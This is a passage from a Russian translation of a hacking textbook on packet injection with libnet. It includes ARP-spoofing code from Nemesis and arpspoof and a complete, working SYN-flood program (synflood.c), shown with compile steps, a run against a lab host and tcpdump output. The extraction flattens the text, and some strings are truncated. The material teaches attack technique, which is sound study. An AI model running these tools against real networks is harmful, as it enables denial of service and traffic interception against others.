Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device, int reply) { 0x440 Анализ сетевых пакетов (сниффинг) 277 int n = 0; u_int32_t arp_packetlen; static u_int8_t *pkt; struct libnet_link_int *l2 = NULL; /* Проверки корректности */ if (pd->file_mem == NULL) pd->file_s = 0; arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; #ifdef DEBUG printf(“DEBUG: ARP packet length %u.\n”, arp_packetlen); printf(“DEBUG: ARP payload size %u.\n”, pd->file_s); #endif if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL) { nemesis_device_failure(INJECTION_LINK, (const char *)device); return -1; } if (libnet_init_packet(arp_packetlen, &pkt) == -1) { fprintf(stderr, “ERROR: Unable to allocate packet memory.\n”); return -1; } libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type NULL, 0, pkt); libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H); n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H + LIBNET_ARP_H + pd->file_s); if (verbose == 2) nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE); if (verbose == 3) nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE); if (n != arp_packetlen) { fprintf(stderr, “ERROR: Incomplete packet injection. Only “ “wrote %d bytes.\n”, n); } else { if (verbose) 278 0x400Сетевое взаимодействие { if (memcmp(eth->ether_dhost, (void *)&one, 6)) { printf(“Wrote %d byte unicast ARP request packet through “ “linktype %s.\n”, n, nemesis_lookup_linktype(l2->linktype)); } else { printf(“Wrote %d byte %s packet through linktype %s.\n”, n, (eth->ether_type == ETHERTYPE_ARP ? “ARP” : “RARP”), nemesis_lookup_linktype(l2->linktype)); } } } libnet_destroy_packet(&pkt); if (l2 != NULL) libnet_close_link_interface(l2); return (n); } В целом работа этой функции должна быть понятна. С помощью функ- ций libnet она открывает интерфейс соединения и инициализирует память для пакета. Затем она строит Ethernet-пакет с помощью эле- ментов структуры Ethernet-заголовка, а потом то же самое делает для уровня ARP. Затем записывает этот пакет в устройство, чтобы отпра- вить его, и наконец прибирает за собой, уничтожая пакет и закрывая интерфейс. Для лучшего понимания ниже приведен фрагмент страни- цы руководства libnet. Фрагмент man-страницы libnet libnet_open_link_interface() открывает интерфейс пакетов низкого уровня. Это требуется для записи пакетов канального уровня. Функции передается указатель u_char на имя устройства интерфейса и указатель u_char на буфер ошибок. Функция возвращает структуру libnet_link_int или NULL в случае ошибки. libnet_init_packet() инициализирует пакет. Если размер опущен (или отрицательный), библиотека подберет пользователю подходящее значение (в данное время LIBNET_MAX_PACKET). Если удалось выделить память, она обнуляется и функция возвращает 1. В случае ошибки функция возвращает -1. Так как функция вызывает malloc, нужно обязательно в какой-то момент вызвать destroy_packet(). libnet_build_ethernet() строит пакет Ethernet. Функции передаются адрес получателя, адрес отправителя (в виде массивов unsigned char) и тип пакета Ethernet, указатель на необязательную секцию данных, размер данных и указатель на предварительно выделенный блок памяти для пакета. Тип пакета Ethernet выбирается из следующих: 0x440 Анализ сетевых пакетов (сниффинг) 279 Значение Тип ETHERTYPE_PUP Протокол PUP ETHERTYPE_IP Протокол IP ETHERTYPE_ARP Протокол ARP ETHERTYPE_REVARP Протокол обратного ARP ETHERTYPE_VLAN Виртуальные сети ETHERTYPE_LOOPBACK Для тестирования интерфейсов libnet_build_arp() строит пакет ARP (Address Resolution Protocol). Функция принимает аргументы: код устройства, код протокола, размер физического адреса, размер логического адреса, тип пакета ARP, физический адрес отправителя, логический адрес отправителя, физический адрес получателя, логический адрес получателя, данные пакета, размер данных пакета и указатель на заголовок пакета. Учтите, что эта функция строит только пакеты Ethernet/ IP ARP, а потому первым аргументом должен быть ARPHRD_ETHER. Пакет ARP может иметь один из следующих типов: ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY, ARPOP_INVREQUEST или ARPOP_INVREPLY. libnet_destroy_packet() освобождает память, выделенную пакету. libnet_close_link_interface() закрывает интерфейс пакетов низкого уровня. При успехе возвращается 1, а при ошибке -1. Располагая базовыми знаниями C, документацией API и здравым смыслом, можно расширять свои знания, изучая проекты open source. Например, Даг Сонг предоставляет вместе с dsniff программу arpspoof, которая осуществляет атаку ARP-переадресации. Фрагмент man-страницы arpspoof ИМЯ arpspoof – перехват пакетов коммутируемой LAN ОБЗОР arpspoof [-i interface] [-t target] host ОПИСАНИЕ arpspoof переадресует пакеты целевого узла (или всех узлов) LAN, предназначенные другому узлу этой LAN, с помощью фальшивых ответов ARP. Это исключительно эффективный способ перехвата трафика коммутатора. Необходимо заранее включить переадресацию IP в ядре (или запустить пользовательскую программу вроде fragrouter(8)). ОПЦИИ -i interface Указать используемый интерфейс. -t target Задать узел, ARP-кэш которого нужно испортить (если не указан, то задействуются все узлы в LAN). 280 0x400Сетевое взаимодействие host Задать узел, пакеты для которого будут перехватываться (обычно шлюз из локальной сети). СМ. ТАКЖЕ dsniff(8), fragrouter(8) АВТОР Даг Сонг Сила этой программы – в функции arp_send(), также задействующей libnet для фальсификации пакетов. Исходный код этой функции дол- жен быть понятен читателю, поскольку в нем используется ряд уже обсуждавшихся функций libnet (выделены полужирным). Работа со структурами и буфером ошибок также знакома. arpspoof.c static struct libnet_link_int *llif; static struct ether_addr spoof_mac, target_mac; static in_addr_t spoof_ip, target_ip; int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa) { char ebuf[128]; u_char pkt[60]; if (sha == NULL && (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { return (-1); } if (spa == 0) { if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) return (-1); spa = htonl(spa); /* XXX */ } if (tha == NULL) tha = “\xff\xff\xff\xff\xff\xff”; libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, op, sha, (u_char *)&spa, tha, (u_char *)&tpa, NULL, 0, pkt + ETH_H); fprintf(stderr, “%s “, ether_ntoa((struct ether_addr *)sha)); if (op == ARPOP_REQUEST) { 0x450 Отказ в обслуживании 281 fprintf(stderr, “%s 0806 42: arp who-has %s tell %s\n”, ether_ntoa((struct ether_addr *)tha), libnet_host_lookup(tpa, 0), libnet_host_lookup(spa, 0)); } else { fprintf(stderr, “%s 0806 42: arp reply %s is-at “, ether_ntoa((struct ether_addr *)tha), libnet_host_lookup(spa, 0)); fprintf(stderr, “%s\n”, ether_ntoa((struct ether_addr *)sha)); } return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt)); } Остальные функции libnet получают аппаратные адреса, IP-адреса и ищут узлы. У них содержательные имена, и работа с ними подробно описана на странице руководства libnet. Фрагмент man-страницы libnet libnet_get_hwaddr() принимает указатель на структуру интерфейса канального уровня, указатель на имя сетевого устройства и пустой буфер для записи сообщения об ошибке. Функция возвращает MAC-адрес указанного устройства или 0 в случае ошибки (в буфер будет помещено ее описание). libnet_get_ipaddr() принимает указатель на структуру интерфейса канального уровня, указатель на имя сетевого устройства и пустой буфер для записи сообщения об ошибке. Функция возвращает IP-адрес указанного интерфейса с порядком байт, определяемым архитектурой узла, или 0 в случае ошибки (в буфер будет помещено ее описание). libnet_host_lookup() преобразует переданный ей адрес IPv4 с сетевым порядком байт (“сначала старший”) к виду, удобному для чтения. Если use_name = 1, libnet_host_lookup() попытается разрешить IP-адрес и вернуть имя узла, иначе (или при неудаче поиска) функция вернет строку ASCII из чисел с точками. Умея читать код C, вы многому сможете научиться по имеющимся про- граммам. С такими библиотеками, как libnet и libpcap, поставляется обширная документация, раскрывающая детали, о которых вы може- те не догадаться, читая исходный код. Задача книги – научить читате- ля получать информацию из исходного кода, а не просто освоить при- менение каких-то библиотек. Есть и другие библиотеки, и множество программ, которые их используют. 0x450 Отказ в обслуживании Один из простейших видов сетевых атак – отказ в обслуживании (DoS – Denial of Service). 282 0x400Сетевое взаимодействие При DoS-атаке не крадется информация, а просто нарушается доступ- ность службы или ресурса. Есть два главных вида DoS-атак: в одном случае служба аварийно завершается, в другом не справляется с чрез- мерной нагрузкой. DoS-атаки, приводящие к аварийному завершению сервисов, ближе к программным, чем к сетевым эксплойтам. Часто эти атаки основаны на уязвимостях реализации, предлагаемой конкретным производите- лем. Неудачный эксплойт на основе переполнения буфера обычно при- водит к аварийному завершению атакуемой программы вместо выпол- нения ею внедренного шелл-кода. Если эта программа выполняется на сервере, служба оказывается недоступной для всех клиентов. Вызыва- ющие аварийное завершение DoS-атаки обычно привязаны к конкрет- ным версиям конкретных программ. Поскольку стек сетевых протоко- лов обрабатывается операционной системой, авария в таком коде вы- водит из строя ядро и вызывает отказ всей машины. Многие из подоб- ных уязвимостей в большинстве современных операционных систем устранены, но все же полезно рассмотреть, как такие приемы могут применяться в различных ситуациях. 0x451 SYN-флуд SYN-флудом называются атаки, состоящие в попытке превысить допу- стимое количество состояний в стеке TCP/IP. Поскольку TCP поддер- живает «надежные» соединения, он должен где-то хранить и их состо- яние. Стек TCP/IP ядра делает это, но количество соединений, которые он может хранить, ограничено. В атаке SYN-флуда применяется фаль- сификация адресов, чтобы превысить существующее ограничение. Атакующий забрасывает атакуемую систему множеством SYN-пакетов, в которых указаны несуществующие адреса отправителя. SYN-пакеты служат для открытия TCP-соединений, и в ответ на них атакуемая ма- шина должна посылать на ложный адрес SYN/ACK-пакеты и ждать ACK-ответа. Каждое из этих ждущих полуоткрытых соединений поме- щается в особую очередь ограниченного размера. Поскольку фальсифи- цированные адреса не существуют, ACK-ответы, необходимые для уста- новления соединения и удаления записей из очереди, никогда не посту- пят. Каждое полуоткрытое соединение будет удаляться по истечении тайм-аута, а это занимает относительно много времени. Пока атакующий продолжает наводнять атакуемую систему поддель- ными SYN-пакетами, очередь ждущих открытия соединений оказыва- ется переполненной, и настоящим SYN-пакетам практически невоз- можно попасть в систему и открыть реальные соединения TCP/IP. Взяв за основу исходный код Nemesis и arpspoof, можно самостоятельно написать программу, которая осуществляет такую атаку. Ниже приведе- на программа, использующая функции libnet, взятые из исходного кода, и функции сокетов, которые рассматривались выше. В исходном коде 0x450 Отказ в обслуживании 283 Nemesis для получения псевдослучайных чисел для различных IP-полей используется функция libnet_get_prand(). Функция libnet_seed_prand() служит для задания случайного начального значения. Такие же задачи эти функции выполняют в приведенной программе. synflood.c #include #define FLOOD_DELAY 5000 // Задержка между отправкой пакетов 5000 ms. /* Возвращает IP в виде x.x.x.x */ char *print_ip(u_long *ip_addr_ptr) { return inet_ntoa( *((struct in_addr *)ip_addr_ptr) ); } int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf(“Usage:\n%s\t exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // Узел dest_port = (u_short) atoi(argv[2]); // Порт network = libnet_open_raw_sock(IPPROTO_RAW); // Открыть сетевой интерфейс. if (network == -1) libnet_error(LIBNET_ERR_FATAL, “can’t open network interface. -- this program must run as root.\n”); libnet_init_packet(packet_size, &packet); // Выделить память для пакета. if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, “can’t initialize packet memory.\n”); libnet_seed_prand(); // Инициализировать генератор случайных чисел. printf(“SYN Flooding port %d of %s..\n”, dest_port, print_ip(&dest_ip)); while(1) // loop forever (until break by CTRL-C) { libnet_build_ip(LIBNET_TCP_H, // Размер пакета без IP-заголовка IPTOS_LOWDELAY, // Тип IP-сервиса libnet_get_prand(LIBNET_PRu16), // IP ID (случайный) 0, // Фрагментация libnet_get_prand(LIBNET_PR8), // TTL (случайный) IPPROTO_TCP, // Транспортный протокол libnet_get_prand(LIBNET_PRu32), // IP отправителя (случайный) 284 0x400Сетевое взаимодействие dest_ip, // IP получателя NULL, // Данные (нет) 0, // Размер данных packet); // Память заголовка пакета libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Порт TCP // отправителя (случайный) dest_port, // Порт TCP получателя libnet_get_prand(LIBNET_PRu32), // Порядковый номер (случайный) libnet_get_prand(LIBNET_PRu32), // Номер подтверждения (случайный) TH_SYN, // Флаги (задан только SYN) libnet_get_prand(LIBNET_PRu16), // Размер окна (случайный) 0, // Срочность NULL, // Данные (нет) 0, // Размер данных packet + LIBNET_IP_H); // Память заголовка пакета if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, “can’t compute checksum\n”); byte_count = libnet_write_ip(network, packet, packet_size); // Отправить // пакет. if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, “Warning: Incomplete packet written. (%d of %d bytes)”, byte_count, packet_size); usleep(FLOOD_DELAY); // Ждать FLOOD_DELAY миллисекунд. } libnet_destroy_packet(&packet); // Освободить память пакета. if (libnet_close_raw_sock(network) == -1) // Закрыть сетевой интерфейс. libnet_error(LIBNET_ERR_WARNING, “can’t close network interface.”); return 0; } В этой программе применяется функция print_ip(), чтобы преобразо- вать тип u_long, используемый в libnet для хранения IP-адресов, в тип структуры, принимаемой inet_ntoa(). Значение при этом не меняется; приведение типа просто успокаивающе действует на компилятор. Текущая версия libnet 1.1 не совместима с libnet 1.0. Но Nemesis и arpspoof по-прежнему основаны на версии libnet 1.0, поэтому мы ис- пользуем ее в программе synflood. Для компиляции с libnet использу- ется флаг -lnet – так же, как в случае libpcap. Однако компилятору этого мало, как показывает следующий вывод: reader@hacking:/booksrc $ gcc -o synflood synflood.c -lnet In file included from synflood.c:1: 0x450 Отказ в обслуживании 285 /usr/include/libnet.h:87:2: #error “byte order has not been specified, you’ll” synflood.c:6: error: syntax error before string constant reader@hacking:/booksrc $ Компилятор спотыкается, потому что для libnet нужно установить не- сколько обязательных флагов define. Вместе с libnet поставляется про- грамма libnet-config, которая показывает, что это за флаги: reader@hacking:/booksrc $ libnet-config --help Usage: libnet-config [OPTIONS] Options: [--libs] [--cflags] [--defines] reader@hacking:/booksrc $ libnet-config --defines -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_ LIL_ENDIAN С помощью подстановки команд оболочки BASH можно динамически вставить эти флаги в команду компиляции: reader@hacking:/booksrc $ gcc $(libnet-config --defines) -o synflood synflood.c -lnet reader@hacking:/booksrc $ ./synflood Usage: ./synflood reader@hacking:/booksrc $ reader@hacking:/booksrc $ ./synflood 192.168.42.88 22 Fatal: can’t open network interface. -- this program must run as root. reader@hacking:/booksrc $ sudo ./synflood 192.168.42.88 22 SYN Flooding port 22 of 192.168.42.88.. В данном случае узел 192.168.42.88 – это машина с Windows XP, на которой через cygwin запущен сервер openssh с портом 22. Вывод про- граммы tcpdump показывает, как сервер забивают фальшивые SYN- пакеты с IP-адресов, выглядящих случайными. Пока работает эта про- грамма, на этом порте невозможно открыть нормальное соединение. reader@hacking:/booksrc $ sudo tcpdump -i eth0 -nl -c 15 “host 192.168.42.88” tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S 751659999:751659999(0) win 14609 17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S 139725579:139725579(0) win 64357 17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S 322318966:322318966(0) win 43747 17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S 685911671:685911671(0) win 62957 17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S 71363071:71363071(0) win 30490 |